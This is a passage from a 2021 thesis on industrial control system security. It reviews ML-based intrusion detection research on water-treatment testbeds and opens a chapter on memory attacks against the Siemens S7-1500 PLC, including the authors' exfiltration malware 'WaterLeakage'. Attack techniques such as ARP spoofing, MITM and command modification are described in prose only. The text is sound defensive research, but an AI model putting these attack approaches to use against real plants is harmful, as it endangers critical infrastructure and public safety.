to detect cyber-attacks on ICS with a focus on a fully operational 6-stage SWaT 

testbed. They first used an extended hybrid automation to model the system’s 

process dynamics from which the invariants are derived. SWaT components that 

have discrete time and continuous time behaviour such as actuators and those 
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whose physical states are being measured by sensors are included in the creation of 

invariants. Each invariant is programmed and then inserted into the associated PLC 

as a guard for the control code. The invariants are active during the 6-stage SWaT 

operation to check the system state validity concerning the system design and to 

further detect anomalies. For the evaluation, they considered two types of attack: 

Single Stage Single Point (SSSP) and Single Stage Multi Point (SSMP). While the 

former includes a single sensor located at a single stage, the latter comprises 

multiple sensors /actuators but at a single stage. Addressing their results, the D2I 

approach was successful in detecting all SSME attacks, however for the SSSP attacks 

it was not effective at detecting those attacks launched while the PLC is being reset 

after power failure. Additionally, given that the invariant violation does not 

necessarily imply an anomaly as it may also occur due to the component failure, it is 

rather unclear how they distinguish sensor failure from anomalies. 

The authors (Clotet et al., 2018), presented an anomaly-based IDS for attack 

detection in critical infrastructures. Their proposed IDS operates at the industrial 

control process level and performs detections in a real-time. Their implemented IDS 

works in two phases. In phase one, the IDS learns the normal behaviour of the 

control process. In phase two, which is also known as detection phase, their 

proposed IDS raises an alarm every time an abnormal behaviour is found in the 

system. The core of the IDS is based on two algorithms: the latest version of Negative 

Selection Algorithm and the Artificial Immune System. The authors validated their 

proposed approach using different network traffic datasets including the dataset 

provided by the SWaT testbed. The results showed that their proposed IDS achieved 

an accuracy of 85% considering nominal attack and attacks with no labels. Although 

this approach operates at the industrial control process level, it still needs to analyse 

the network traffic which adds extra overhead to the process. 

The authors (Mathur & Tippenhauer, 2016), introduced three basic attack 

models for the  SWaT testbed and conducted some initial experiments to assess the 

security vulnerabilities of the system. This includes system reconnaissance using 

open source tools such as Wireshark and Zenmap to determine the industrial 

protocol vulnerabilities (e.g. ENIP) as well as services running on local devices such 

as PLC and HMI, in addition to ARP spoofing attacks using Ettercap which resulted 

in re-directing local traffic through the hacker’s device. They were also successful in 
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acting as a Man-In-The-Middle (MITM) between two parties (i.e. two PLCs) to 

capture sensor data and actuator commands and re-write them on-the-fly by using 

Ettercap rules, in addition to manipulating remote firmware and logic updates from 

the SCADA to each individual PLC. Moreover, they discussed compromises through 

wireless networks (e.g. by impersonating the legitimate Access Point to trick the 

PLCs) and through direct physical access (e.g. by re-wiring networking cables and 

inserting passive taps). They also discussed the system’s response to the attack. 

However, their work is rather basic, general and unclear in terms of attack 

implementation.  

The authors (Ghaleb et al., 2018), presented a network security analysis of the 

communication between the PLC and the Engineering Station, where the 

Engineering Station is in charge of PLC set up and configuration. For this, they 

implemented three common computer network attacks: Reply, MITM, and 

Command Modification, to compromise the communication between the PLC and 

the Engineering Station. For the experiments, they used Siemens S7 - 400 with 

Simatic PCS7 8.1 software along with open source tools and python scripts. 

Addressing their captured results, they have shown that the programming and 

configuration traffic between the Engineering Station and the PLC can be replayed, 

sniffed, and/or modified after successfully executing Reply, MITM, and Command 

Modification attacks. They provided some general defence theories with no 

implementations including the use of encryption with external hardware cipher 

models to defeat Reply and Command Modification attacks along with static entries 

in the ARP tables to counter MITM attacks. Additionally, they suggested measuring 

the PLC response time as a MITM defence mechanism, given that it is slightly less 

during a benign communication compared with the malicious scenario.      

2.6.2 Contribution to the knowledge from the control engineering 

perspective 

   In terms of response to the attacks for ICS, the closest work to ours is 

presented in (Cárdenas et al., 2011) where the authors proposed an Anomaly 

Detection Module (ADM) which sends estimated values to the controller when an 

attack is detected. Their results showed that the ADM module has a considerable 

amount of success when an attack is detected. However, the response is not effective 



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 2: Literature review 

 

  

Andres Santiago Robles Durazno  2021  Page 57 

when a false and/or a positive alarm is raised. In addition, although using the 

controlled environment allows experimenting with a wide range of control systems, 

it is rather unclear whether the work proposed in (Cárdenas et al., 2011) is 

applicable to real scenarios e.g. a real PLC in the industry.  

In our research, memory attacks on a real PLC of a Festo MPS PA Compact 

Workstation Rig are implemented. Our implementation is fully discussed in Chapter 

3. Festo MPS PA Compact Workstation Rig is a functional model of a clean water 

supply system in which we focus on system sensor/actuator vulnerabilities that 

differ from existing work, such as work depicted in (Ghaleb et al., 2018). 

Additionally, we propose the PLC’s inbound detection and response to the attacks 

which is lacking in the existing work. Our proposed technique differs from 

(Cárdenas et al., 2011) which is the only paper we found relevant to our proposed 

response technique. Given that our technique is implemented inside a PLC, unlike 

(Cárdenas et al., 2011), we did not rely on an external module/equipment that can 

be tampered by attackers. Additionally, our proposed technique is implemented on 

a real, modern, and the latest PLC currently used in the industry. Furthermore, the 

work presented in our research is different from the existing work on the memory 

attacks in general in terms of the application where our focus is on PLCs in 

CPS/ICS/SCADA systems rather than traditional computer systems in general. 

2.7 Machine learning approaches for ICS 

In this section, we provide an overview of the most popular Machine Learning 

algorithms employed in the field. Further, existing work related to intrusion 

detection schemes for SCADA systems are discussed in the two main categories of 

supervised and unsupervised machine learning techniques approaches with a 

particular focus on water treatment systems. The relevance of the quality of the 

features chose for training the machine learning algorithm is highlighted. Table 2.3 

provides a survey from computer science approaches on ICS. 
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Table 2.4 Computer science survey 

Testbed 

Type of 

Machine 

learning 

approach 

Machine learning 

algorithm 

Attack 

Vector 
Findings Author 

• Two water 

tanks 

• PLC 

• Supervised • SVM 

• Penetratio

ns test 

using 

Rapid 7 

• Its selected features are 

limited to two: packet 

intervals and the packet 

length.  

• Likewise, the type of their 

penetration tests (i.e. black-

box test, white-box test, or 

grey-box test) is uncertain 

(Terai et 

al., 2017) 

• Virtual 

SDN-based 

SCADA 

system  

• Supervised • SVM • DoS attack 

• Their attack scenario is 

limited to a simulated DoS 

attack. 

• Authors only considered the 

signature of normal traffic, it 

is unclear how they 

differentiate between an 

attack and incorrect system 

configuration. 

(Da Silva 

et al., 

2016) 

• SWaT • Supervised 

• Neural 

Networks 

• SVM 

• Logistic 

Regression 

• Random Forest 

• J48 

• Best-First Tree 

• Bayesian 

Network 

• Naive Bayes 

• Instance-based 

Learning  

• 18 attacks 

from 10 

different 

types 

• Their selected features e.g. 

sensor reading, and actuator 

commands have not been 

clearly identified nor 

discussed. 

• Additionally, their model 

may not be able to detect 

zero-day attacks or the 

attacks that have not been 

considered in their selected 

categories.  

• The attacks used in this 

research are unclear 

(Junejo & 

Goh, 

2016),  

• Tennessee 

Eastman 

(TE) 

Chemical 

Process 

• Supervised • SVM • DoS, MITM 

• The set of attacks employed 

in the research are basic. 

Virtual enviroments have 

limitations related to noise, 

network latency which might 

impact the macine learning 

models 

 (Keliris et 

al., 2017) 
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• Power 

system 

based  

• Supervised 

• KNN 

• SVM 

• Extreme 

gradient 

boosting 

(XGBoost) 

• DT 

• Gradient 

boosting 

decision tree 

(GBDT) 

• Convolution 

neural network 

(CNN)  

• snort 

alarms 

• Historical data and logs might 

not be a reliable feature 

source because it is 

susceptible to manipulation.  

• Set of attacks employed in 

their research is unclear 

(Wang et 

al., 2019)  

• No 

described 
• Supervised 

• KNN, Random 

Forest, Decision 

Tree and 

Bagging 

• MITM, DoS 

• Performance of the machine 

learning algorithms show a 

considerable number of false 

positive alarms.  

• Algorithms show a high 

computing cost. It is unclear 

the process control used for 

validation. 

(F. Zhang 

et al., 

2019) 

• Two 

Siemens 

SIMATIC 

S7-200 

PLCs 

• Supervised • REPTtree, C4.5  
• No 

described 

•  It can be argued whether the 

work proposed is applicable 

to real scenarios.  

• The proposed approach 

requieres further validation.  

• It is unclear how the 

malicious traffic is generated. 

 

(Ponomare

v & 

Atkison, 

2016) 

• SWaT 
• Unsupervis

ed 

• Deep neural 

network (DNN) 

with multiple 

input and output 

layers and a one-

class SVM 

• 36 

different 

attack 

scenarios 

• Some of the performance 

metrics captured by the 

authors are poor and need to 

be improved, for instance; 

recall for DNN and SVM 

models.  

• Attack scenarios employed in 

this research are unclear 

(Inoue et 

al., 2017) 

• SWaT 
• Unsupervis

ed 

• Recurrent 

Neural Networks 

(RNN)  

• 36 

different 

attack 

scenarios 

• Their unsupervised model is 

limited only to identifying 

attacks.  

• Attack scenarios employed in 

this research are unclear 

(Goh et al., 

2017)  
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• Simulated 

pressurised 

water 

nuclear 

reactor 

• Unsupervis

ed 

• Uncorrelated 

Normal Density 

based Classifier  

• Quadratic 

Discriminant 

Classifier 

• Linear 

Discriminant 

Classifier 

•  Decision Tree 

• Parzen Classifier 

(PARZENC) 

• No 

described 

• Simulations are flexible, but 

they are not standardized.  

• Building a simulation does 

not require data, but 

validation does.  

(Hurst et 

al., 2014) 

• Simulated 

power 

distribution 

system  

• Unsupervis

ed 

• Fuzzy Inference 

System (FIS) 

• K-MEANS  

• Fuzzy C-means 

(FCM)  

• Remote 

tripping 

command 

injection 

• Relay 

setting 

change 

• Data 

injection 

• Approach proposed by the 

authors lack of validation.  

• The set of attaks employed in 

their research are not 

described in detail. 

(L

eary & 

Farnam, 

2016) 

• Water 

distribution 

system 

• Unsupervis

ed 

• K-nearest 

neighbour 

algorithm with 

automatic 

identification 

and automatic 

extraction 

• integrity 

attacks  

• The scheme proposed by the 

authors is computationally 

expensive particularly when 

it computes an inconsistency 

score for each observation 

 

(Abdulmo

hsen 

Almalawi 

et al., 

2014b) 

• SWaT, 

Power Grid 

• Unsupervis

ed 
• Neural Networks 

• No 

described 

• The set of attacks employed in 

this research are unclear.  

(S

chneider & 

Böttinger, 

2018) 

• SWaT 
• Unsupervis

ed 

• Convolutional 

neural networks 

• No 

described 

• The proposed mechanism 

failed in detecting four type of 

attacks that did not have 

impact on the control system 

operation. 

•  It requires further research 

on different controll system 

implementations. 

(K

ravchik & 

Shabtai, 

2018) 

• Water 

Distributio

n Systems 

• Unsupervis

ed 
• Neural Networks 

• Attacks 

simulated 

in MATLAB 

• The proposed mechanism 

failed in detecting only one 

attack when using the dataset 

that contain the simulated 

attacks.  

 

(Abokifa et 

al., 2018) 
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• It achieved a high number of 

false positive alarms when 

employing a different dataset. 

• Virtual ICS 
• Unsupervis

ed 

• Clustering 

algorithms  

• No 

described 

• The proposed approach 

requires validation.  

• The set of attack employed in 

their research is unclear. 

(A 

Almalawi 

et al., 

2016) 

 

2.7.1 Supervised machine learning approaches for ICS 

The authors (Terai et al., 2017), proposed Support Vector Machine (SVM)-

based approach to detect cyber-attacks on Industrial Control Systems (ICS). They 

used SVM with various optimization of the hyper-parameters to classify anomalous 

and benign traces on their testbed. Their testbed involves two water tanks equipped 

with control equipment and controlled automatically. Their datasets created from 

the period of four-stage penetration tests during which malicious and benign packets 

are categorized based on their source IP addresses. They used Rapid7, a Metasploit 

framework, for penetration testing and Wireshark to capture packets. By addressing 

their captured results, the Machine Learning algorithms achieved about 95% 

classification accuracy and an error rate of 0.048%, which is the average of ten 

rounds with cross-validation. However, its selected features are limited to two: 

packet intervals and the packet length. Likewise, the type of their penetration tests 

(i.e. black-box test, white-box test, or grey-box test) is uncertain. This means that it 

is unclear whether they ran the penetration tests with full knowledge of the system, 

without knowing the ins and outs of the system or having partial knowledge of the 

system.  

 

The authors (Da Silva et al., 2016), proposed a class Introduction to Network 

Detection System (NIDS) for SCADA employing a Software Defined Network. They 

used One-Class Support Vector Machine and Support Vector Data Description to 

detect malicious traffic behaviours in Smart Grids. The authors simulated an SDN-

based SCADA system using a large-scale topology, with one core control centre, four 

intermediate control centres, eight distribution substations, and a considerable 

number of field devices. Afterwards, the authors used the OpenFlow protocol to 
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occasionally extract data from the SCADA network traffic. Their proposed NIDS 

detects malicious traffic behaviour from a training dataset that comprises only the 

signature of the traffic created under normal network operation. Additionally, to the 

native OpenFlow functions, the authors enabled the use of additional extracted 

information, such as time between packet arrivals, packets per second, and the 

average packet length. They also used Principal Component Analysis and Genetic 

Algorithm to determine the best set of features for traffic classification. By 

addressing their captured results, the Machine Learning algorithms employed in the 

experimentation process achieved an accuracy rate of over 99% for One-Class 

Classification based on the Support Vector Machine and an accuracy rate of less than 

98% for Support Vector Data Description. Nevertheless, their attack scenario is 

limited to a simulated DoS attack. Furthermore, since they only considered the 

signature of normal traffic, it is unclear how they differentiate between an attack 

and incorrect system configuration. 

 

The authors (Junejo & Goh, 2016), proposed a behaviour-based attack 

detection and classification scheme for a Secured Water Treatment (SWaT) system 

using machine learning algorithms. They used nine supervised machine learning 

(ML) algorithms: Neural Networks (NNs), SVM, Logistic Regression (LR), Random 

Forest (RF), J48, Best-First Tree (BFTree), Bayesian Network (BayesNet), Naive 

Bayes (NB) and Instance-based Learning (Terai et al., 2017)(IBK) with various 

parameter values to find the best parameters for each classifier. They employed 18 

attacks from 10 different types to build the model for their nine machine learning 

algorithms. Addressing their results, BFTree showed the best results in terms of 

precision and accuracy. However, their selected features e.g. sensor reading, and 

actuator commands have not been clearly identified nor discussed. Additionally, 

their model may not be able to detect zero-day attacks or the attacks that have not 

been considered in their selected categories.   

 

The authors (Keliris et al., 2017) introduce a Machine Learning-based Defence 

Against Process-Aware Attacks on Industrial Control Systems. They developed a 

supervised SVM model that can differentiate between disturbances during normal 
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operation and malicious activity. They employ the Tennessee Eastman (TE) 

Chemical Process as a testbed to assess their approach. They build upon MATLAB 

Simulink model of the TE process and they incorporate a serial hardware interface 

between the simulation model and a PLC. The testbed includes 50 states, 41 

measured variables with Gaussian noises, 12 manipulated variables and 13 

disturbances signals. Their dataset includes information obtained from 12 sensors 

under normal operation, under attack and various disturbances conditions under 

normal operation. For the training process, they selected the RBF kernel from the 

SVM algorithm with parameter N=1 and N=50 for attack detection and to identify 

the type of attack executed. They run a simulation for the lapse of 2 hours, where a 

set of attacks were executed during that lapse. Addressing their results, the 

proposed mechanism of defence model is able to differentiate between a system 

disturbance and an attack. It can be argued whether a virtual environment considers 

conditions such as: environment, noise and network latency which are present in a 

real ICS.  

The authors (Wang et al., 2019) propose an attack detection model for a power 

system based on supervised machine learning. The features used to build the model 

are constructed by analysing the relationship between the features and raw data 

that is obtained from relevant log information and historical data. The original 

dataset used in this research contains 128 features collected from PMUs 1-4, relay 

snort alarms and logs. Their data pre-processing phase involves discarding 

redundant features that might overfit the model. After, the dataset is divided into 

four subsets of data and part of the original features are sent to AdaBoost model for 

training along with the new features. During the experimentation phase the authors 

compare their approach with several traditional machine learning algorithms such 

as: k-nearest neighbour (KNN), support vector machine (SVM), extreme gradient 

boosting (XGBoost), decision tree (DT), gradient boosting decision tree (GBDT) and 

convolution neural network (CNN) in order to demonstrate the effectiveness of their 

model. The metrics for evaluating the model include accuracy, precision, recall, F1 

score, ROC curve and AUC. Addressing their results, their proposed model shows the 

benefits of feature engineering. Although their approach presents good results, it 

can be argued that historical data and logs might not be a reliable feature source 

because it is susceptible to manipulation.  



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 2: Literature review 

 

  

Andres Santiago Robles Durazno  2021  Page 64 

The authors (F. Zhang et al., 2019) propose a Multi-Layer Data-Driven Cyber-

Attack Detection System for Industrial Control Systems Based on Network, System, 

and Process Data. The proposed IDS combine signature-based and anomaly-based 

analysis of host, network and process data. Their mechanism of detection is placed 

as a second line of defence behind the firewall and it is composed of data-driven 

models for cyber-attack detection based on network traffic and system data. The 

classification models are based on supervised machine learning algorithms such as 

KNN, Random Forest, Decision Tree and Bagging. Those algorithms can detect well-

known attacks only, for that reason, the authors also include an unsupervised 

approach using the AAKR, which provides flexibility for intrusion detection. The 

dataset contains 142 features that are related to memory, a computer process, and 

network behaviour and it includes three cyber-attacks: MITM, DoS attack to 

engineering workstation, and DoS attack to the National Instruments cDAQ (the data 

acquisition and control hardware). Addressing their captured results, the KNN 

algorithm outperforms the rest of the algorithms by achieving a score of 98.84% for 

true positive alarms and 99.46% for true negative. The rate of False Negative alarms 

achieves 1.16% being the lowest among the rest of the algorithms. Decision tree 

algorithm has the lowest computing cost; however, the four algorithms remain 

below one second. 

The authors (Ponomarev & Atkison, 2016) propose an Industrial Control 

System Network Intrusion Detection by Telemetry Analysis. They used the 

honeypot Conpot to simulate the network traffic generated by two Siemens SIMATIC 

S7-200 PLCs. They then use the python library pymodbus to generate the MODBUS 

protocol stack. Their IDS is implemented as a standalone device that monitors the 

traffic between the PLC and the rest of the network. They employed REPTtree as a 

base machine learning algorithm and a set of bagging-aided classifiers for training. 

They generated a list of features after analysing 838,818 packets, including 

malicious and benign traces, generated by their virtual ICS. The traffic generated 

among the devices connected to the ICS network is identified as insider whereas the 

traffic between the control network and an external network is identified as an 

outsider. Addressing their results, they achieved a 92.2% accuracy rate for REPTree 

classifier at the insider classification. For the outsider classification, most of the 

classifiers achieved high accuracy when classifying packets from different machines, 
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C4.5 and REPTree achieved 99.5% and 99.6% of accuracy respectively. It can be 

argued whether the work proposed is applicable to real scenarios e.g. a power plant. 

 

2.7.2 Unsupervised machine learning approaches for ICS 

The authors (Inoue et al., 2017) used unsupervised machine learning 

algorithms for anomaly detection in water treatment systems. For their 

implementation, they used the SWaT dataset containing benign and malicious events, 

including network traffic, sensor data, and actuator data collected during eleven days 

of continuous operation. The benign records generated by SWaT under normal 

conditions are used to train the model. Malicious logs, including 36 different attack 

scenarios, have been used to assess the performance of the authors' proposed 

unsupervised anomaly detection model. In this paper, the authors compared two 

unsupervised machine learning algorithms: a deep neural network (DNN) with 

multiple input and output layers and a one-class SVM. Furthermore, they tuned some 

hyperparameters in both algorithms before training. In addressing its results, DNN 

performs slightly better than one-class SVM. Nevertheless, some of the performance 

metrics captured by the authors are poor and need to be improved, for instance; 

recall for DNN and SVM models. 

Using a similar SWaT testbed, the authors (Goh et al., 2017) used unsupervised 

Recurrent Neural Networks (RNN) for anomaly detection in water treatment 

systems. The captured dataset includes data collected from sensors and actuators 

on the SWaT testbed for eleven days, including seven days of normal continuous 

operation and four days of attack scenarios. Malicious scenarios include thirty-six 

attacks, some of which are executed within ten minutes of each other, while others 

are performed after the system stabilizes. Their dataset has been normalised by 

removing the mean and scaling to unit variance during the data pre-processing 

phase and before feeding the data to unsupervised RNN. They then used Cumulative 

Sum method to identify irregularities in the SWaT testbed. In addressing their 

results, it can be asserted that most of their designed attacks were detected and with 

low false positive rates. However, their unsupervised model is limited only to 

identifying attacks 
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The authors (Hurst et al., 2014), used big data analysis techniques and 

behaviour observation for cyber-attack detection in a simulated pressurised water 

nuclear reactor. In their simulation, each component has a corresponding observer 

to extract physical behavioural information that aids to build the dataset used in their 

experimentation process. The first of two datasets used to run their experiments, 

includes smaller events with a reduced number of features while the second dataset 

includes larger events with a greater number of features. They have collected 

features such as: overall water volumes, steam output, energy creation, water tank 

levels and speed of water flow. Afterward, they used supervised learning algorithms 

like Uncorrelated Normal Density based Classifier (UDC), Quadratic Discriminant 

Classifier (QDC), Linear Discriminant Classifier (LDC), Decision Tree (TREEC), and 

Parzen Classifier (PARZENC) to detect anomalous behaviour. In the initial evaluation, 

the classifiers were able to achieve 68.34% accuracy which is increased to 96.65% in 

the second evaluation where the number of the events and number of the features 

captured for each event are increased. However, it should be noted that there are 

advantages and disadvantages to using simulation environments. For instance, 

simulations are flexible, but they are not standardized. In addition, building a 

simulation does not require data, but validation does.  

The authors (Leary & Farnam, 2016), proposed an unsupervised clustering 

method for Intrusion Detection Systems (IDS) in ICS/SCADA systems. They employed 

datasets from a simulated power distribution system containing 15 sets with 37 

power system events. Each event is classified as a natural event, a no event, or an 

attack event.  The attacks scenarios involve remote tripping command injection, 

relay setting change, and data injection. The authors applied Principal Component 

Analysis (PCA) for reducing the dimensionality of the datasets, standardizing to 

improve clustering results, unity-based normalization, and quantization to reduce 

the large variance in the dataset. After using PCA approach and to improve the 

computational efficiency, they used only five features out of 128 to classify data in 

the dataset. They compared their proposed IDS, where clustering is combined with 

the Fuzzy Inference System (FIS), with K-MEANS and Fuzzy C-means (FCM) 

algorithms. Addressing their captured results, the proposed IDS shows the benefits 

of adding FIS claiming that adding such intelligent techniques can provide a 

mechanism that can be used to get more information out of the clustering algorithm 
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results. However, as mentioned above, using virtual simulations comes with a 

considerable number of disadvantages. 

The authors (Abdulmohsen Almalawi et al., 2014b) proposed an unsupervised 

anomaly-based detection approach for integrity attacks on a water distribution 

system. Their proposed approach is based on k-nearest neighbour algorithm and 

includes two phases of: automatic identification and automatic extraction. They used 

a dataset obtained from a real system and two simulated datasets. Each simulated 

dataset is composed of twenty-three nodes and 10,500 observations while the real 

dataset involves 38 data nodes and 527 observations. Addressing their captured 

results, their proposed unsupervised approach displays better detection accuracy 

and efficiency results compared to three anomaly detection methods, two of which 

are based on unsupervised learning, while the third is based on semi-supervised 

learning. But, given that their proposed approach is based on k-nearest neighbour 

algorithm, their scheme is computationally expensive particularly when it computes 

an inconsistency score for each observation.  

 

The authors (Schneider & Böttinger, 2018) propose a high-performance 

unsupervised anomaly detection for cyber-physical system networks. They used the 

secure water treatment (SWaT) S3 dataset that contains network traffic with a rate 

of approximately 11M packets per hour a public dataset from a power grid control 

system that consists of 11 network traces. They replace the usual step of feature 

extraction, usually used in machine learning, by a feature learning approach that is 

based on current deep learning schemes. They employed a neural network 

composed of three layers, which are: input, output and hidden layer. Their proposed 

framework is implemented in python using the TensorFlow framework for 

processing and PCAP library for packet acquisition. Addressing their results, they 

achieved 100% of precision and f1 score in the power grid dataset and 0% of false-

positive detection. Evaluating the second dataset, it achieves 99% of precision and 

recall. 

Using a similar Swat testbed, the authors (Kravchik & Shabtai, 2018) propose 

a mechanism for cyber-attack detection on industrial control systems using 

convolutional neural networks. They employed a selection of deep neural networks 

architectures including different variants of convolutional and recurrent networks. 
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They implemented unsupervised machine learning models using Google’s 

TensorFlow framework. Their dataset is normalized to 0-1 scale and it involves 

496800 records in normal operation and 449919 records under 36 different attacks. 

Addressing their results, the anomaly detection algorithm achieves the highest AUC 

by reaching 96.7% for eight layers of convolutional network (CNN). Regarding the 

training and testing time, the CNN was shorter by a factor 1 to 2 for testing and 1,5 

to 4 for training when it is compared to a pure LTSM network. Their mechanism of 

detection failed in recognizing four types of attacks, however, those attacks did not 

have a considerable impact on the system. The f1 score of the ensemble of four 

layers 1D CNN model achieved 92.06% with a precision of 1 and recall of 85.29%. 

The authors (Abokifa et al., 2018) propose a Real-Time Identification of Cyber-

Physical Attacks on Water Distribution Systems via Machine Learning–Based 

Anomaly Detection Techniques. Their proposed approach involves a four-layer 

method, where the first layer checks whether the given SCADA observations follow 

the actuator rules specified for the system, while the second layer finds statistical 

outliers. The third layer is a neural network that is capable to detect contextual 

inconsistencies with normal operation and the four-layer uses principal component 

analysis (PCA) on the entire set of sensors that compose the industrial control 

system (ICS) in order to classify the samples as normal or abnormal. They used three 

independent datasets that were obtained from the C-Town WDS, which is a medium-

size water distribution network. The dataset contains seven different attacks that 

were simulated in MATLAB. The performance of their proposed approach is 

evaluated by adopting the metrics specified in BATDAL. Addressing their captured 

results, their algorithm is able to detect the entire set of simulated attacks and only 

one false alarm was triggered. For the validation dataset, the CSM score achieved 

95.3%, while its true negative rate (TNR) reached 94.6%. The number of false-

positive alarms (FP) comprises of 4.76% that corresponds to extended alarm 

periods after the end of positive alarms. The overall score of the algorithm is 96.8%, 

which indicated a satisfactory performance.  

The authors (A Almalawi et al., 2016) propose an efficient data-driven 

clustering technique to detect attacks in SCADA systems. Their approach is based on 

the assumption that normal states can be clustered into finite groups of dense 

clusters. In addition, critical states in the n-dimensional space will take the form of 
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noise data. They describe the requirements for developing a SCADA-based IDS: a 

model able to identify normal/critical states and a proximity-based extraction 

technique to derive rules. They employed the clustering algorithm: DBSCAN for 

identifying normal and critical states. To validate their approach, the authors 

implemented a virtual ICS that involves five virtual machines, four of them are used 

as PLC’s and they run the MODBUS/TCP-Salve simulator. The fifth virtual machine 

is used as master unit terminal (MUT), historian server and HMI client. They used 

three datasets obtained from their virtual implementation, as well as, five datasets 

publicly available. Addressing their results, the proposed approach achieved in 

average an accuracy of 98% and 0.02% in the detection rate and false positive. The 

authors propose the re-labelling technique aiming to reduce the number of 

false/positive alarms. Addressing the captured results, the number of alarms is 

reduced by 16%. 

2.7.3 Online detection using machine learning 

One of the drawbacks found in related work is the lack of on-line machine 

learning validation. Only a few of researches provide such evaluation. The authors 

(Nader et al., 2016) proposed a novel one-class classification approach for 

Cyberattack detection in a water distribution system. The novelty of their approach 

relies on the use of the truncated Mahalanobis distance in the decision function of 

the classifier, which, improves the classification speed when compared to similar 

one-class classifiers. In order to test their approach, they recorded a dataset that 

corresponds to the final stage of a real water drinking distribution plant. Further, 

the dataset includes four simulated attacks to components such as pump, 

flowmeters and sensors that compose the ICS. Their captures results outperformed 

other approaches, for the four types of attacks included in the dataset, by achieving 

100%, 88.8%, 91.3% and 82.3% of detection rate. However, is unclear how the 

authors obtained the detection rate or how it is evaluated. Moreover, the authors do 

not indicate whether the dataset includes information from the control process of 

network features.  

In another approach, the authors (Caselli et al., 2015) propose a sequence-

aware intrusion detection in Industrial Control Systems (S-IDS) which is capable of 

identify patterns of ICS network events, extract their semantic meaning and models 
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known behaviours over time. They record network messages and log entries to 

define ICS device operations by employing discrete-time Markov chains. The S-IDS 

proposed by the authors is a layered structure that collects information from 

Modbus network traffic and log files. To evaluate their approach, the authors train 

the S-IDS with data obtained from water treatment and purification system that 

used Modbus protocol for network communication. To simulate the attacks the 

authors, inject malicious traces on the network traffic prior to sending the data to 

the S-IDS. Addressing their results, the rate of false/positive alarms generated by 

the S-IDS is reduced when they include information of the ICS infrastructure and 

physical process. The attacks injected on the network traffic is also detected. It can 

be argued whether the S-IDS can validate tampered log files or crafted network 

packets that contain malicious data. 

The authors (Shalyga et al., 2018) propose a Neural Network approach for 

anomaly detection in a water treatment system. To conduct the research, they used 

a dataset obtained from the SWaT testbed, which is an operational scaled-down 

water treatment plant. The authors propose several techniques to improve the 

anomaly detection which include exponentially weighted smoothing, mean p-

powered error measure, individual error weight for each variable and disjoint 

prediction window. Addressing their captured results, their machine learning 

models achieved 96.7%, 95.2% and 93.6% for MLP, CNN and RNN respectively.  

Although, it is argued whether this approach is applicable in an online environment 

since real-world applications demand high processing power.  

The authors (Maglaras & Jiang, 2014) propose a one-class support vector 

machine (OCSVM) for intrusion detection in a SCADA system. They used datasets 

that contain malicious and benign traffic from a SCADA network that mainly 

involves MODBUS/TCP traffic for offline training. Their attack scenarios include 

man in the middle (MITM) by address resolution protocol (ARP), SYNC flooding and 

honeypot interaction. Addressing their captured results, the OCSVM intrusion 

detection was able to produce 98.42% and 99.12% accuracy for two online 

detection testing. It can be argued whether the evaluation of a machine learning 

model can be determined with by only one metric: accuracy. Further, their online 
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detection process is unclear, and it does not provide a comparison between the 

result obtained during the offline validation and online testing.  

2.7.4 Contribution to the knowledge from the computing science approach 

Despite the fact that both (Terai et al., 2017) and (Da Silva et al., 2016) 

employed simulation environments, we employ CWSS, which is an operational 

scaled-down clean water supply system for our comprehensive research on the field. 

Additionally, unlike (Junejo & Goh, 2016), our selected features are comprehensively 

explained and discussed. Furthermore, unlike (Inoue et al., 2017), we have measured 

more features in our testbeds to achieve a better classification accuracy.  

 

Based on our best knowledge we could not find any related research proposing 

a supervised machine learning approach based on energy consumption metrics on a 

Festo MPA Process Control Rig. Our implemented testbed allows energy 

consumption monitoring for anomaly detection using two components on a Festo 

MPA Process Control Rig by employing the INA219 sensor. 

 

The technique proposed in our research differs from (Wang et al., 2019; F. 

Zhang et al., 2019) given that the machine learning algorithms are feed with features 

that are collected from the INA219 sensor, which is hard-wired to the sensors and 

actuators. We do not rely on packets obtained from the control network unlike the 

research presented by (Schneider & Böttinger, 2018) because it might have been 

compromised by intruders before reaching the machine learning component. 

Furthermore, the work presented in this research is different from the existing work 

described above given that the datasets contain malicious and benign traces 

obtained from a physical testbed. Unlike the research provided by (Abokifa et al., 

2018), a set of novel attacks that target the Input and Output memory of the latest 

SIMATIC S7-1500 PLC were executed to the testbed when the datasets were 

collected. 

Additionally, this research includes the online and offline performance of our 

proposed machine learning algorithms which is fully discussed and presented in 

Chapter 5. Further, the performance of the machine learning algorithms is shown in 
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detail highlighting the strengths and weaknesses found in each one of them. 

Moreover, this research provides results obtained from the execution of a novel set 

of attacks against a physical testbed which differs from the work presented in the 

related work above.  
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Chapter 3:  PLC memory attacks; A practical approach 

 

3.1 Introduction 

This chapter describes a set of novel attacks executed to the memory 

of the SIMATIC S7-1500 PLC. The PLC, that we also used in this 

research, is one of the latest models available in the market and 

currently used in a considerable number of critical infrastructures 

such as manufacturing, water systems and nuclear stations. The 

purpose of studying such a PLC is to reveal vulnerabilities that can 

have a disastrous impact on key industries and even a threat to human 

lives. The attacks described in this chapter can be executed from a 

device that is connected to the same PLC network and the attacker 

does not need any knowledge of the control system logic. This chapter 

begins with an overview of the SIMATIC S7-1500 PLC followed by a 

description of its different memory spaces. The end of this chapter 

provides a practical scenario in which an intruder reveals sensitive 

information of the control system through the execution of 

WaterLeakage, our novel stealthy malware that exfiltrates 

information from the PLC memory. This scenario demonstrates the 

potential weaknesses of cutting-edge equipment like SIMATIC S7-

1500. The results have been published in Proceedings of 15th IEEE 

International Conference on Control & Automation (ICCA). The 

WaterLeakage malware achieved the 3rd place at the poster 

competition in Cyber Security (PCiCS-2018). 

 

3.2 SIMATIC S7-1500 

SIMATIC S7-1500 is one of the fastest running PLCs worldwide. This PLC is 

capable of handling complex tasks in different industries such as manufacturing, 

chemical, water systems, power grids, pharmaceutical, food and more. However, 

this highly complex PLC has a poor cyber-security design that might lead to 

compromise the systems under control. For instance, (CISA, 2020) provides a report 

that describes the latest vulnerability found in the SIMATIC S7-1500 controller, 
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which was published in February 2020. The vulnerability mentioned in the report 

allows the execution of denial-of service (DoS) attacks utilizing crafted UDP packets. 

The result of executing a DoS attack against control systems where service time is 

critical, such as utilities, could be disastrous. Although, it should be noted that DoS 

attacks have been widely studied in the cyber-security field and currently there are 

devices such as firewalls and IDSs that can easily detect those attacks.  

 

Further, the research conducted by (Biham et al., 2019) highlights two 

important weaknesses found on SIMATIC S7-1500 PLC. Firstly, the PLC does not 
